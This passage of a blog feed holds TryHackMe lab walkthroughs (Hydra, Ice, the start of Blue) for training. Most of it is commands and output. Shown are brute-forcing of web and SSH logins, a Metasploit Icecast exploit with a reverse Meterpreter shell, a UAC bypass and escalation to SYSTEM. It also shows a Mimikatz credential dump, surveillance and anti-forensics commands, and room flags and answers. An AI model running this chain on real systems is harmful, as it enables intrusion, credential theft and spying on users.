&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;hydra &lt;span class="nt"&gt;-l&lt;/span&gt; molly &lt;span class="nt"&gt;-P&lt;/span&gt; rockyou.txt &amp;lt;MACHINE_IP&amp;gt; http-post-form &lt;span class="s2"&gt;"/login:username=^USER^&amp;amp;password=^PASS^:Your username or password is incorrect."&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;80][http-post-form] host: &amp;lt;MACHINE_IP&amp;gt;   login: molly   password: sunshine
1 of 1 target successfully completed, 1 valid password found
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Login to the webpage with the credentials and obtain the flag:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"jumbotron text-center"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;THM{2673a7dd116de68e85c48ec0b1f2612e}&lt;span class="nt"&gt;&amp;lt;/h1&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Flag 1&lt;/strong&gt;: &lt;code&gt;THM{2673a7dd116de68e85c48ec0b1f2612e}&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Use Hydra to brute force Molly's SSH password. What is flag 2?
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Use Hydra's SSH along with the &lt;code&gt;rockyou.txt&lt;/code&gt; password list to brute force Molly's server password:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;hydra &lt;span class="nt"&gt;-l&lt;/span&gt; molly &lt;span class="nt"&gt;-P&lt;/span&gt; rockyou.txt &amp;lt;MACHINE_IP&amp;gt; ssh
&lt;span class="o"&gt;[&lt;/span&gt;22][ssh] host: &amp;lt;MACHINE_IP&amp;gt;   login: molly   password: butterfly
1 of 1 target successfully completed, 1 valid password found
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Log-in to Molly's server using her SSH credentials:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$  ssh molly@&amp;lt;MACHINE_IP&amp;gt;
molly@&amp;lt;MACHINE_IP&amp;gt;'s password: butterfly
molly@ip-10-10-66-163:~$ ls
flag2.txt
molly@ip-10-10-66-163:~$ cat flag2.txt 
THM{c8eeb0468febbadea859baeb33b2541b}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Flag 2&lt;/strong&gt;: &lt;code&gt;THM{c8eeb0468febbadea859baeb33b2541b}&lt;/code&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>security</category>
    </item>
    <item>
      <title>TryHackMe Ice</title>
      <dc:creator>Omri Bornstein</dc:creator>
      <pubDate>Wed, 19 May 2021 06:55:25 +0000</pubDate>
      <link>https://dev.to/applegamer22/tryhackme-ice-32gi</link>
      <guid>https://dev.to/applegamer22/tryhackme-ice-32gi</guid>
      <description>&lt;h1&gt;
  
  
  TryHackMe &lt;a href="https://www.tryhackme.com/room/ice"&gt;Ice&lt;/a&gt;
&lt;/h1&gt;

&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Launch a scan against our target machine
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ sudo nmap -sS -sV &amp;lt;MACHINE_IP&amp;gt;
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-20 19:23 AEST
Nmap scan report for &amp;lt;MACHINE_IP&amp;gt;
Host is up (0.32s latency).
Not shown: 988 closed ports
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3389/tcp  open  tcpwrapped
5357/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
8000/tcp  open  http         Icecast streaming media server
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49158/tcp open  msrpc        Microsoft Windows RPC
49159/tcp open  msrpc        Microsoft Windows RPC
49160/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: DARK-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 78.04 seconds
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  What port is Microsoft Remote Desktop open on?
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;3389&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  What service did nmap identify as running on port 8000?
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;Icecast&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  What does Nmap identify as the hostname of the machine?
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;DARK-PC&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Gain Access
&lt;/h2&gt;

&lt;h3&gt;
  
  
  What type of vulnerability is it (according to &lt;a href="https://www.cvedetails.com"&gt;https://www.cvedetails.com&lt;/a&gt;)?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.cvedetails.com/cve/CVE-2004-1561/"&gt;https://www.cvedetails.com/cve/CVE-2004-1561/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;Execute Code Overflow&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  What is the CVE number for this vulnerability?
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;CVE-2004-1561&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  What is the full path (starting with exploit) for the Metasploit exploitation module?
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;msf6 &amp;gt; search icecast

Matching Modules
================

   #  Name                                 Disclosure Date  Rank   Check  Description
   -  ----                                 ---------------  ----   -----  -----------
   0  exploit/windows/http/icecast_header  2004-09-28       great  No     Icecast Header Overwrite


Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/http/icecast_header
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;exploit/windows/http/icecast_header&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  What is the only required setting which currently is blank?
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;msf6 exploit(windows/http/icecast_header) &amp;gt; show options

Module options (exploit/windows/http/icecast_header):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:&amp;lt;path&amp;gt;'
   RPORT   8000             yes       The target port (TCP)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.1.12     yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;RHOSTS&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Escalate
&lt;/h2&gt;

&lt;h3&gt;
  
  
  What's the name of the shell we have now?
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;msf6 exploit(windows/http/icecast_header) &amp;gt; set RHOSTS &amp;lt;MACHINE_IP&amp;gt;
RHOSTS =&amp;gt; &amp;lt;MACHINE_IP&amp;gt;
msf6 exploit(windows/http/icecast_header) &amp;gt; set LHOST tun0
LHOST =&amp;gt; &amp;lt;OPENVPN_IP&amp;gt;
msf6 exploit(windows/http/icecast_header) &amp;gt; exploit 

[*] Started reverse TCP handler on &amp;lt;OPENVPN_IP&amp;gt;:4444 
[*] Sending stage (175174 bytes) to &amp;lt;MACHINE_IP&amp;gt;
[*] Meterpreter session 1 opened (&amp;lt;OPENVPN_IP&amp;gt;:4444 -&amp;gt; &amp;lt;MACHINE_IP&amp;gt;:49197) at 2021-04-20 19:39:24 +1000

meterpreter &amp;gt; sysinfo
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;meterpreter&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  What user was running that Icecast process?
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;meterpreter &amp;gt; ps

Process List
============

 PID   PPID  Name                  Arch  Session  User          Path
 ---   ----  ----                  ----  -------  ----          ----
 0     0     [System Process]
 4     0     System
 144   2676  WinSAT.exe            x64   1
 416   4     smss.exe
 500   692   svchost.exe
 544   536   csrss.exe
 588   692   svchost.exe
 592   536   wininit.exe
 604   584   csrss.exe
 652   584   winlogon.exe
 692   592   services.exe
 700   592   lsass.exe
 708   592   lsm.exe
 816   692   svchost.exe
 884   692   svchost.exe
 932   692   svchost.exe
 1008  816   WmiPrvSE.exe
 1016  692   svchost.exe
 1020  692   vds.exe
 1052  692   svchost.exe
 1188  692   svchost.exe
 1292  692   sppsvc.exe
 1300  500   dwm.exe               x64   1        Dark-PC\Dark  C:\Windows\System32\dwm.exe
 1316  1288  explorer.exe          x64   1        Dark-PC\Dark  C:\Windows\explorer.exe
 1368  692   spoolsv.exe
 1396  692   svchost.exe
 1452  692   taskhost.exe          x64   1        Dark-PC\Dark  C:\Windows\System32\taskhost.exe
 1564  692   amazon-ssm-agent.exe
 1640  692   LiteAgent.exe
 1680  692   svchost.exe
 1820  692   Ec2Config.exe
 2036  500   Defrag.exe
 2060  692   svchost.exe
 2280  1316  Icecast2.exe          x86   1        Dark-PC\Dark  C:\Program Files (x86)\Icecast2 Win32\Icecast2.exe
 2472  544   conhost.exe
 2480  692   TrustedInstaller.exe
 2576  692   SearchIndexer.exe
 2640  604   conhost.exe           x64   1
 2676  692   taskhost.exe          x64   1
 2716  816   rundll32.exe          x64   1        Dark-PC\Dark  C:\Windows\System32\rundll32.exe
 2744  2716  dinotify.exe          x64   1        Dark-PC\Dark  C:\Windows\System32\dinotify.exe
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;Dark&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  What build of Windows is the system?
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;meterpreter &amp;gt; sysinfo 
Computer        : DARK-PC
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;7601&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  What is the architecture of the process we're running?
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;x64&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  What is the full path for the first returned exploit from the local exploit suggester?
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;meterpreter &amp;gt; run post/multi/recon/local_exploit_suggester

[*] 10.10.170.20 - Collecting local exploits for x86/windows...
[*] 10.10.170.20 - 37 exploit checks are being tried...
[+] 10.10.170.20 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 10.10.170.20 - exploit/windows/local/ikeext_service: The target appears to be vulnerable.
[+] 10.10.170.20 - exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable.
[+] 10.10.170.20 - exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable.
[+] 10.10.170.20 - exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.170.20 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.170.20 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 10.10.170.20 - exploit/windows/local/ntusermndragover: The target appears to be vulnerable.
[+] 10.10.170.20 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;exploit/windows/local/bypassuac_eventvwr&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  What is the name of the incorrect option for &lt;code&gt;exploit/windows/local/bypassuac_eventvwr&lt;/code&gt;?
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;meterpreter &amp;gt; background 
[*] Backgrounding session 1...
msf6 exploit(windows/http/icecast_header) &amp;gt; use exploit/windows/local/bypassuac_eventvwr
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/bypassuac_eventvwr) &amp;gt; set session 1
session =&amp;gt; 1
msf6 exploit(windows/local/bypassuac_eventvwr) &amp;gt; show options 

Module options (exploit/windows/local/bypassuac_eventvwr):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  1                yes       The session to run this module on.


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.1.12     yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows x86
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;LHOST&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  What permission listed by &lt;code&gt;getprivs&lt;/code&gt; allows us to take ownership of files?
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;msf6 exploit(windows/local/bypassuac_eventvwr) &amp;gt; set LHOST tun0
LHOST =&amp;gt; &amp;lt;OPENVPN_IP&amp;gt;
msf6 exploit(windows/local/bypassuac_eventvwr) &amp;gt; run

[*] Started reverse TCP handler on &amp;lt;OPENVPN_IP&amp;gt;:4444 
[*] UAC is Enabled, checking level...
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[*] Configuring payload and stager registry keys ...
[*] Executing payload: C:\Windows\SysWOW64\eventvwr.exe
[+] eventvwr.exe executed successfully, waiting 10 seconds for the payload to execute.
[*] Sending stage (175174 bytes) to 10.10.170.20
[*] Meterpreter session 2 opened (&amp;lt;OPENVPN_IP&amp;gt;:4444 -&amp;gt; 10.10.170.20:49215) at 2021-04-20 19:54:34 +1000
[*] Cleaning up registry keys ...

meterpreter &amp;gt; sessions 
Usage: sessions &amp;lt;id&amp;gt;

Interact with a different session Id.
This works the same as calling this from the MSF shell: sessions -i &amp;lt;session id&amp;gt;

meterpreter &amp;gt; sessions -i 2
Usage: sessions &amp;lt;id&amp;gt;

Interact with a different session Id.
This works the same as calling this from the MSF shell: sessions -i &amp;lt;session id&amp;gt;

meterpreter &amp;gt; sessions 2
[*] Session 2 is already interactive.
meterpreter &amp;gt; getprivs

Enabled Process Privileges
==========================

Name
----
SeBackupPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeCreatePagefilePrivilege
SeCreateSymbolicLinkPrivilege
SeDebugPrivilege
SeImpersonatePrivilege
SeIncreaseBasePriorityPrivilege
SeIncreaseQuotaPrivilege
SeIncreaseWorkingSetPrivilege
SeLoadDriverPrivilege
SeManageVolumePrivilege
SeProfileSingleProcessPrivilege
SeRemoteShutdownPrivilege
SeRestorePrivilege
SeSecurityPrivilege
SeShutdownPrivilege
SeSystemEnvironmentPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeTakeOwnershipPrivilege
SeTimeZonePrivilege
SeUndockPrivilege
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;SeTakeOwnershipPrivilege&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Looting
&lt;/h2&gt;

&lt;h3&gt;
  
  
  What's the name of the printer spool service?
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;meterpreter &amp;gt; ps

Process List
============

 PID   PPID  Name                    Arch  Session  User                          Path
 ---   ----  ----                    ----  -------  ----                          ----
 1368  692   spoolsv.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\spoolsv.exe

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;spoolsv.exe&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  What user is listed by &lt;code&gt;getuid&lt;/code&gt;?
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;meterpreter &amp;gt; migrate -N spoolsv.exe
[*] Migrating from 1432 to 1368...
[*] Migration completed successfully.
meterpreter &amp;gt; getuid 
Server username: NT AUTHORITY\SYSTEM
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;NT AUTHORITY\SYSTEM&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Which &lt;code&gt;kiwi&lt;/code&gt; command allows up to retrieve all credentials?
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;meterpreter &amp;gt; migrate -N spoolsv.exe
[*] Migrating from 1432 to 1368...
[*] Migration completed successfully.
meterpreter &amp;gt; getuid 
Server username: NT AUTHORITY\SYSTEM
meterpreter &amp;gt; load kiwi
Loading extension kiwi...
  .#####.   mimikatz 2.2.0 20191125 (x64/windows)
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       &amp;gt; http://blog.gentilkiwi.com/mimikatz
 '## v ##'        Vincent LE TOUX            ( vincent.letoux@gmail.com )
  '#####'         &amp;gt; http://pingcastle.com / http://mysmartlogon.com  ***/

Success.
meterpreter &amp;gt; help
Kiwi Commands
=============

    Command                Description
    -------                -----------
    creds_all              Retrieve all credentials (parsed)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;creds_all&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  What is Dark's password?
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;meterpreter &amp;gt; creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============

Username  Domain   LM                                NTLM                              SHA1
--------  ------   --                                ----                              ----
Dark      Dark-PC  e52cac67419a9a22ecb08369099ed302  7c4fe5eada682714a036e39378362bab  0d082c4b4f2aeafb67fd0ea568a997e9d3ebc0eb

wdigest credentials
===================

Username  Domain     Password
--------  ------     --------
(null)    (null)     (null)
DARK-PC$  WORKGROUP  (null)
Dark      Dark-PC    Password01!

tspkg credentials
=================

Username  Domain   Password
--------  ------   --------
Dark      Dark-PC  Password01!

kerberos credentials
====================

Username  Domain     Password
--------  ------     --------
(null)    (null)     (null)
Dark      Dark-PC    Password01!
dark-pc$  WORKGROUP  (null)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;Password01!&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  What command allows us to dump all of the password hashes stored on the system?
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;meterpreter &amp;gt; help
Priv: Password database Commands
================================

    Command       Description
    -------       -----------
    hashdump      Dumps the contents of the SAM database
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Post-Exploitation
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;hashdump&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  what command allows us to watch the remote user's desktop in real time?
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;meterpreter &amp;gt; help
Stdapi: User interface Commands
===============================

    Command        Description
    -------        -----------
    screenshare    Watch the remote user desktop in real time
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;screenshare&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  How about if we wanted to record from a microphone attached to the system?
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;meterpreter &amp;gt; help
Stdapi: Webcam Commands
=======================

    Command        Description
    -------        -----------
    record_mic     Record audio from the default microphone for X seconds
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;record_mic&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  What command allows us to modify timestamps of files on the system?
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;meterpreter &amp;gt; help
Priv: Timestomp Commands
========================

    Command       Description
    -------       -----------
    timestomp     Manipulate file MACE attributes
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;timestomp&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  What command allows us to get a "golden ticket"?
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;meterpreter &amp;gt; help
Kiwi Commands
=============

    Command                Description
    -------                -----------
    golden_ticket_create   Create a golden kerberos ticket
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;golden_ticket_create&lt;/code&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>security</category>
    </item>
    <item>
      <title>TryHackMe Blue</title>
      <dc:creator>Omri Bornstein</dc:creator>
      <pubDate>Tue, 11 May 2021 07:08:53 +0000</pubDate>
      <link>https://dev.to/applegamer22/tryhackme-blue-5h18</link>
      <guid>https://dev.to/applegamer22/tryhackme-blue-5h18</guid>
      <description>&lt;h1&gt;
  
  
  TryHackMe &lt;a href="https://www.tryhackme.com/room/blue"&gt;Blue&lt;/a&gt;
&lt;/h1&gt;

&lt;h3&gt;
  
  
  References
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Hammond, J. (2020). TryHackMe! EternalBlue/MS17-010 in Metasploit [YouTube Video]. In YouTube. &lt;a href="https://youtu.be/s6rwS7UuMt8"&gt;https://youtu.be/s6rwS7UuMt8&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Microsoft. (2017, October 11). Microsoft Security Bulletin MS17-010 - Critical. Microsoft.com. &lt;a href="https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010"&gt;https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;

&lt;h3&gt;
  
  
  How many ports are open with a port number under 1000?
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-sC&lt;/span&gt; &amp;lt;MACHINE_IP&amp;gt;
Starting Nmap 7.91 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2021-05-11 08:23 AEST
Nmap scan report &lt;span class="k"&gt;for&lt;/span&gt; &amp;lt;MACHINE_IP&amp;gt;
Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.28s latency&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
Not shown: 991 closed ports
PORT      STATE SERVICE            VERSION
135/tcp   open  msrpc              Microsoft Windows RPC
139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds       Windows 7 Professional 7601 Service Pack 1 microsoft-ds &lt;span class="o"&gt;(&lt;/span&gt;workgroup: WORKGROUP&lt;span class="o"&gt;)&lt;/span&gt;
3389/tcp  open  ssl/ms-wbt-server?
| rdp-ntlm-info: 
|   Target_Name: JON-PC
|   NetBIOS_Domain_Name: JON-PC
|   NetBIOS_Computer_Name: JON-PC
|   DNS_Domain_Name: Jon-PC
|   DNS_Computer_Name: Jon-PC
|   Product_Version: 6.1.7601
|_  System_Time: 2021-05-10T22:25:26+00:00
| ssl-cert: Subject: &lt;span class="nv"&gt;commonName&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Jon-PC
| Not valid before: 2021-05-09T22:21:54
|_Not valid after:  2021-11-08T22:21:54
|_ssl-date: 2021-05-10T22:25:33+00:00&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nt"&gt;-1s&lt;/span&gt; from scanner time.
49152/tcp open  msrpc              Microsoft Windows RPC
49153/tcp open  msrpc              Microsoft Windows RPC
49154/tcp open  msrpc              Microsoft Windows RPC
49158/tcp open  msrpc              Microsoft Windows RPC
49159/tcp open  msrpc              Microsoft Windows RPC
Service Info: Host: JON-PC&lt;span class="p"&gt;;&lt;/span&gt; OS: Windows&lt;span class="p"&gt;;&lt;/span&gt; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 59m59s, deviation: 2h14m10s, median: 0s
|_nbstat: NetBIOS name: JON-PC, NetBIOS user: &amp;lt;unknown&amp;gt;, NetBIOS MAC: 02:22:ad:0b:95:87 &lt;span class="o"&gt;(&lt;/span&gt;unknown&lt;span class="o"&gt;)&lt;/span&gt;
| smb-os-discovery: 
|   OS: Windows 7 Professional 7601 Service Pack 1 &lt;span class="o"&gt;(&lt;/span&gt;Windows 7 Professional 6.1&lt;span class="o"&gt;)&lt;/span&gt;
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: Jon-PC
|   NetBIOS computer name: JON-PC&lt;span class="se"&gt;\x&lt;/span&gt;00
|   Workgroup: WORKGROUP&lt;span class="se"&gt;\x&lt;/span&gt;00
|_  System &lt;span class="nb"&gt;time&lt;/span&gt;: 2021-05-10T17:25:26-05:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled &lt;span class="o"&gt;(&lt;/span&gt;dangerous, but default&lt;span class="o"&gt;)&lt;/span&gt;
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   &lt;span class="nb"&gt;date&lt;/span&gt;: 2021-05-10T22:25:26
|_  start_date: 2021-05-10T22:21:53
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;3&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
